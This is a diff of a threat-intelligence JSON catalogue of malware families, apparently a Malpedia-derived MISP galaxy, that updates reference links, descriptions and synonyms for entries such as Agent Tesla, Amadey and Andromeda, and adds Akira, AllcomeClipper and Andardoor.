"https://www.hornetsecurity.com/en/threat-research/vba-purging-malspam-campaigns/", - "https://unit42.paloaltonetworks.com/originlogger/", - "https://forensicitguy.github.io/a-tale-of-two-dropper-scripts/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord?", - "https://menshaway.blogspot.com/2021/04/agenttesla-malware.html", - "https://unit42.paloaltonetworks.com/covid-19-themed-cyber-attacks-target-government-and-medical-organizations/", - "https://isc.sans.edu/diary/28202", - "https://blog.qualys.com/vulnerabilities-threat-research/2022/02/02/catching-the-rat-called-agent-tesla", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-many-roads-leading-to-agent-tesla/", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", - "https://community.riskiq.com/article/6337984e", - "https://www.seqrite.com/blog/gorgon-apt-targeting-msme-sector-in-india/", + "https://blog.morphisec.com/agent-tesla-a-day-in-a-life-of-ir", + "https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns", "https://www.bleepingcomputer.com/news/security/russia-ukraine-war-exploited-as-lure-for-malware-distribution/", + "https://www.youtube.com/watch?v=Q9_1xNbVQPY", + "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", + "https://researchcenter.paloaltonetworks.com/2017/09/unit42-analyzing-various-layers-agentteslas-packing/", + "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", "https://isc.sans.edu/diary/rss/27092", "https://www.zscaler.com/blogs/research/agent-tesla-keylogger-delivered-using-cybersquatting", - "https://malwarebookreports.com/agent-teslaggah/", - "https://blog.minerva-labs.com/preventing-agenttesla", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://unit42.paloaltonetworks.com/excel-add-ins-malicious-xll-files-agent-tesla/", - "https://www.bitdefender.com/blog/hotforsecurity/bitdefender-labs-sees-increased-malicious-and-scam-activity-exploiting-the-war-in-ukraine", - "https://yoroi.company/research/serverless-infostealer-delivered-in-est-european-countries/", - "https://lab52.io/blog/a-twisted-malware-infection-chain/", - "https://team-cymru.com/blog/2022/07/12/an-analysis-of-infrastructure-linked-to-the-hagga-threat-actor", - "https://blog.malwarebytes.com/cybercrime/2020/04/new-agenttesla-variant-steals-wifi-credentials/", - "https://twitter.com/MsftSecIntel/status/1392219299696152578", - "https://isc.sans.edu/forums/diary/PowerPoint+attachments+Agent+Tesla+and+code+reuse+in+malware/28154/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/another-archive-format-smuggling-malware/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry", - "https://blogs.blackberry.com/en/2021/06/threat-thursday-agent-tesla-infostealer-malware", - "https://blog.malwarelab.pl/posts/basfu_aggah/", - "https://blog.morphisec.com/agent-tesla-a-day-in-a-life-of-ir", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", - "https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns", "https://www.telsy.com/wp-content/uploads/ATR_82599-1.pdf", - "https://www.telsy.com/download/4832/", - "https://youtu.be/QQuRp7Qiuzg", - "https://asec.ahnlab.com/ko/29133/", - "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", - "https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-2/", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://malwatch.github.io/posts/agent-tesla-malware-analysis/", + "https://news.sophos.com/en-us/2020/05/14/raticate/", + "https://blogs.juniper.net/en-us/security/aggah-malware-campaign-expands-to-zendesk-and-github-to-host-its-malware", "https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/", - "https://blog.fortinet.com/2017/06/28/in-depth-analysis-of-net-malware-javaupdtr", - "https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html", "https://isc.sans.edu/diary/27088", - "https://researchcenter.paloaltonetworks.com/2017/09/unit42-analyzing-various-layers-agentteslas-packing/", - "https://community.riskiq.com/article/40000d46", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://www.netskope.com/blog/infected-powerpoint-files-using-cloud-services-to-deliver-multiple-malware", - "http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/", - "https://www.vmray.com/cyber-security-blog/threat-bulletin-agent-tesla/", - "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", - "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html", + "https://news.sophos.com/en-us/2021/02/02/agent-tesla-amps-up-information-stealing-attacks/", + "http://www.secureworks.com/research/threat-profiles/gold-galleon", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://medium.com/@mariohenkel/decrypting-agenttesla-strings-and-config-b9000b18c996?sk=fcead9538516eeb3daa7b53cb537f6f4", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://www.hornetsecurity.com/en/threat-research/vba-purging-malspam-campaigns/", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", + "https://research.openanalysis.net/dotnet/xorstringsnet/agenttesla/2023/04/16/xorstringsnet.html", + "https://isc.sans.edu/forums/diary/AgentTesla+Delivered+via+a+Malicious+PowerPoint+AddIn/26162/", + "https://isc.sans.edu/forums/diary/PowerPoint+attachments+Agent+Tesla+and+code+reuse+in+malware/28154/", + "https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-1/", + "https://unit42.paloaltonetworks.com/originlogger/", + "https://malwarebreakdown.com/2018/01/11/malspam-entitled-invoice-attched-for-your-reference-delivers-agent-tesla-keylogger/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ipfs-a-new-data-frontier-or-a-new-cybercriminal-hideout", + "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", "https://mp.weixin.qq.com/s/X0kAIHOSldiFDthb4IsmbQ", - "https://cofense.com/strategic-analysis-agent-tesla-expands-targeting-and-networking-capabilities/", + "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://youtu.be/BM38OshcozE", + "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/02/02/catching-the-rat-called-agent-tesla", + "https://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/", "https://guillaumeorlando.github.io/GorgonInfectionchain", - "https://malwr-analysis.com/2020/04/05/trojan-agent-tesla-malware-analysis/", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" + "https://isc.sans.edu/diary/28202", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://malgamy.github.io/malware-analysis/Deep-Analysis-Agent-Tesla/", + "https://isc.sans.edu/diary/27666", + "https://unit42.paloaltonetworks.com/covid-19-themed-cyber-attacks-target-government-and-medical-organizations/", + "https://www.malwarebytes.com/blog/threat-intelligence/2022/20221121-threat-intel-report-final.pdf", + "https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-2/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/", + "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html", + "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", + "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", + "https://malwatch.github.io/posts/agent-tesla-malware-analysis/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", + "https://blog.minerva-labs.com/preventing-agenttesla", + "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", + "https://cert.gov.ua/article/861292", + "https://www.vmray.com/cyber-security-blog/threat-bulletin-agent-tesla/" ], "synonyms": [ "AgenTesla", @@ -11714,15 +12408,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "f8cd62cb-b9d3-4352-8f46-0961cfde104c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "b88e29cf-79d9-42bc-b369-0383b5e04380", "value": "Agent Tesla" }, @@ -11752,14 +12437,27 @@ "uuid": "549b23b1-6f53-494e-a302-1d00aa71043b", "value": "Ahtapot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.akira", + "https://news.sophos.com/en-us/2023/05/09/akira-ransomware-is-bringin-88-back/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "834635f7-fb0f-472c-913e-fb112ae29fdc", + "value": "Akira" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.albaniiutas", - "https://insight-jp.nttsecurity.com/post/102gkfp/pandas-new-arsenal-part-2-albaniiutas", - "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/", "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia", + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/", + "https://insight-jp.nttsecurity.com/post/102gkfp/pandas-new-arsenal-part-2-albaniiutas", "https://blog.group-ib.com/task" ], "synonyms": [ @@ -11801,10 +12499,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alice_atm", - "http://blog.trendmicro.com/trendlabs-security-intelligence/alice-lightweight-compact-no-nonsense-atm-malware/", - "https://www.symantec.com/security-center/writeup/2016-122104-0203-99", "https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf", - "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html" + "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html", + "http://blog.trendmicro.com/trendlabs-security-intelligence/alice-lightweight-compact-no-nonsense-atm-malware/", + "https://www.symantec.com/security-center/writeup/2016-122104-0203-99" ], "synonyms": [ "AliceATM", @@ -11820,14 +12518,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alina_pos", - "http://www.xylibox.com/2013/02/alina-34-pos-malware.html", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Following-The-Shadow-Part-2/", "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Following-The-Shadow-Part-1/", + "http://www.xylibox.com/2013/02/alina-34-pos-malware.html", "https://blog.centurylink.com/alina-point-of-sale-malware-still-lurking-in-dns/", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina-POS-malware--sparks--off-a-new-variant/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Casting-a-Shadow-on-POS/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/two-new-pos-malware-affecting-us-smbs/" + "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/two-new-pos-malware-affecting-us-smbs/", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Following-The-Shadow-Part-2/", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina-POS-malware--sparks--off-a-new-variant/" ], "synonyms": [ "alina_eagle", @@ -11844,15 +12542,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.allakore", + "https://sebdraven.medium.com/copy-cat-of-apt-sidewinder-1893059ca68d", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf", + "https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://twitter.com/_re_fox/status/1212070711206064131", "https://github.com/Anderson-D/AllaKore", "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479", + "https://www.team-cymru.com/post/allakore-d-the-sidecopy-train", "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", - "https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf", - "https://blog.talosintelligence.com/2021/07/sidecopy.html" + "https://blog.talosintelligence.com/2021/07/sidecopy.html", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479" ], "synonyms": [], "type": [] @@ -11876,6 +12576,20 @@ "uuid": "6aabb492-e282-40fb-a840-fe4e643ec094", "value": "Allaple" }, + { + "description": "Allcome is classified as a clipper malware. Clippers are threats designed to access information saved in the clipboard (the temporary buffer space where copied data is stored) and substitute it with another. This attack is targeted at users who are active in the cryptocurrency sector mainly.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.allcomeclipper", + "https://www.gdatasoftware.com/blog/2022/02/37239-allcome-clipbanker-is-a-newcomer-in-malware-underground-forums", + "https://bazaar.abuse.ch/browse/signature/AllcomeClipper/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "43ca1245-a5e0-4b44-9892-cf317170c7b8", + "value": "AllcomeClipper" + }, { "description": "", "meta": { @@ -11900,15 +12614,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "45de0d28-5a20-4190-ae21-68067e36e316", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "a0881a0c-e677-495b-b475-290af09bb716", "value": "Alma Communicator" }, @@ -11951,7 +12656,7 @@ "value": "ALPC Local PrivEsc" }, { - "description": "", + "description": "The Alphabet ransomware is a new screenlocker that is currently being developed by a criminal developer. As the malware is not ready it does not affect any user files.\r\n\r\nThe virus includes a screenlocking function which locks the user’s screen and prohibits any interaction with the computer.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alphabet_ransomware", @@ -11981,8 +12686,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alphanc", - "https://www.secureworks.com/research/threat-profiles/nickel-gladstone", - "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group" + "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group", + "https://www.secureworks.com/research/threat-profiles/nickel-gladstone" ], "synonyms": [], "type": [] @@ -12008,13 +12713,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alureon", - "https://archive.f-secure.com/weblog/archives/The_Case_of__TDL3.pdf", "http://contagiodump.blogspot.com/2011/02/tdss-tdl-4-alureon-32-bit-and-64-bit.html", - "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj64_wowlik.vt", "http://contagiodump.blogspot.com/2010/02/list-of-aurora-hydraq-roarur-files.html", + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj64_wowlik.vt", + "https://archive.f-secure.com/weblog/archives/The_Case_of__TDL3.pdf", + "https://www.johannesbader.ch/2016/01/the-dga-in-alureon-dnschanger/", "http://contagiodump.blogspot.com/2012/02/purple-haze-bootkit.html", "https://www.youtube.com/watch?v=FttiysUZmDw", - "https://www.johannesbader.ch/2016/01/the-dga-in-alureon-dnschanger/", "https://www.virusbulletin.com/virusbulletin/2016/01/paper-notes-click-fraud-american-story/" ], "synonyms": [ @@ -12030,31 +12735,42 @@ "value": "Alureon" }, { - "description": "Amadey is a botnet that appeared around October 2018 and is being sold for about 500$ on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called \"tasks\") for all or specifically targeted computers compromised by the malware.", + "description": "Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called \"tasks\") for all or specifically targeted computers compromised by the malware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey", - "https://twitter.com/0xffff0800/status/1062948406266642432", - "https://www.anquanke.com/post/id/230116", - "https://nao-sec.org/2019/04/Analyzing-amadey.html", - "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", - "https://twitter.com/ViriBack/status/1062405363457118210", - "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-strings-in-amadey-1-09/", - "https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", - "https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/", - "https://medium.com/walmartglobaltech/amadey-stealer-plugin-adds-mikrotik-and-outlook-harvesting-518efe724ce4", - "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", + "https://blogs.blackberry.com/en/2022/07/smokeloader-malware-used-to-augment-amadey-infostealer", "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://isc.sans.edu/diary/27264", - "https://blogs.blackberry.com/en/2022/07/smokeloader-malware-used-to-augment-amadey-infostealer" + "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", + "https://asec.ahnlab.com/en/41450/", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", + "https://twitter.com/0xffff0800/status/1062948406266642432", + "https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore", + "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", + "https://www.anquanke.com/post/id/230116", + "https://embee-research.ghost.io/redline-stealer-basic-static-analysis-and-c2-extraction/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://thecyberexpress.com/amadey-botnet-back-via-phishing-sites/", + "https://twitter.com/ViriBack/status/1062405363457118210", + "https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot", + "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-strings-in-amadey-1-09/", + "https://research.checkpoint.com/2023/chain-reaction-rokrats-missing-link/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://medium.com/walmartglobaltech/amadey-stealer-plugin-adds-mikrotik-and-outlook-harvesting-518efe724ce4", + "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", + "https://nao-sec.org/2019/04/Analyzing-amadey.html", + "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://asec.ahnlab.com/en/36634/", + "https://blog.cyble.com/2023/01/25/the-rise-of-amadey-bot-a-growing-concern-for-internet-security/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://asec.ahnlab.com/en/44504/" ], "synonyms": [], "type": [] @@ -12067,8 +12783,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.amtsol", - "http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf", - "https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/" + "https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/", + "http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" ], "synonyms": [ "Adupihan" @@ -12083,8 +12799,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.anatova_ransom", - "https://www.bleepingcomputer.com/news/security/new-anatova-ransomware-supports-modules-for-extra-functionality/", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/" + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/", + "https://www.bleepingcomputer.com/news/security/new-anatova-ransomware-supports-modules-for-extra-functionality/" ], "synonyms": [], "type": [] @@ -12097,24 +12813,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.anchor", - "https://unit42.paloaltonetworks.com/ryuk-ransomware/", - "https://isc.sans.edu/diary/27308", - "https://hello.global.ntt/zh-cn/insights/blog/trickbot-variant-communicating-over-dns", "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", - "https://medium.com/walmartglobaltech/anchor-and-lazarus-together-again-24744e516607", - "https://labs.sentinelone.com/the-deadly-planeswalker-how-the-trickbot-group-united-high-tech-crimeware-apt/", - "https://technical.nttsecurity.com/post/102fsp2/trickbot-variant-anchor-dns-communicating-over-dns", - "https://www.kryptoslogic.com/blog/2021/07/adjusting-the-anchor/", - "https://www.netscout.com/blog/asert/dropping-anchor", - "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", + "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/", + "https://isc.sans.edu/diary/27308", + "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-hidden-anchor-bot-nexus-operations/", + "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", + "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", + "https://medium.com/walmartglobaltech/anchor-and-lazarus-together-again-24744e516607", + "https://unit42.paloaltonetworks.com/ryuk-ransomware/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/", - "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", - "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-hidden-anchor-bot-nexus-operations/" + "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/", + "https://hello.global.ntt/zh-cn/insights/blog/trickbot-variant-communicating-over-dns", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.kryptoslogic.com/blog/2021/07/adjusting-the-anchor/", + "https://www.netscout.com/blog/asert/dropping-anchor", + "https://technical.nttsecurity.com/post/102fsp2/trickbot-variant-anchor-dns-communicating-over-dns", + "https://labs.sentinelone.com/the-deadly-planeswalker-how-the-trickbot-group-united-high-tech-crimeware-apt/" ], "synonyms": [], "type": [] @@ -12127,10 +12845,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.anchormail", - "https://cyware.com/news/trickbots-anchordns-is-now-upgraded-to-anchormail-a21f5490/", - "https://securityintelligence.com/posts/new-malware-trickbot-anchordns-backdoor-upgrades-anchormail/", "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", - "https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/" + "https://securityintelligence.com/posts/new-malware-trickbot-anchordns-backdoor-upgrades-anchormail/", + "https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/", + "https://cyware.com/news/trickbots-anchordns-is-now-upgraded-to-anchormail-a21f5490/" ], "synonyms": [], "type": [] @@ -12138,30 +12856,46 @@ "uuid": "7792096a-7623-43a1-9a67-28dce0e4b39e", "value": "AnchorMail" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.andardoor", + "https://asec.ahnlab.com/ko/47751/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "59a2437b-ae63-466a-9172-60d6610c3e19", + "value": "Andardoor" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromeda", - "https://eternal-todo.com/blog/yet-another-andromeda-gamarue-analysis", - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "https://eternal-todo.com/blog/andromeda-gamarue-loves-json", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", - "https://blog.avast.com/andromeda-under-the-microscope", - "https://www.virusbulletin.com/virusbulletin/2013/08/andromeda-2-7-features", - "https://www.virusbulletin.com/virusbulletin/2018/02/review-evolution-andromeda-over-years-we-say-goodbye/", - "http://www.0xebfe.net/blog/2013/03/30/fooled-by-andromeda/", - "http://resources.infosecinstitute.com/andromeda-bot-analysis/", - "http://resources.infosecinstitute.com/andromeda-bot-analysis-part-two/", - "https://byte-atlas.blogspot.ch/2015/04/kf-andromeda-bruteforcing.html", - "https://www.crowdstrike.com/blog/how-to-remediate-hidden-malware-real-time-response/", - "https://www.europol.europa.eu/newsroom/news/andromeda-botnet-dismantled-in-international-cyber-operation", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", "https://blogs.technet.microsoft.com/mmpc/2017/12/04/microsoft-teams-up-with-law-enforcement-and-other-partners-to-disrupt-gamarue-andromeda/", + "https://byte-atlas.blogspot.ch/2015/04/kf-andromeda-bruteforcing.html", + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "http://resources.infosecinstitute.com/andromeda-bot-analysis/", + "https://eternal-todo.com/blog/yet-another-andromeda-gamarue-analysis", + 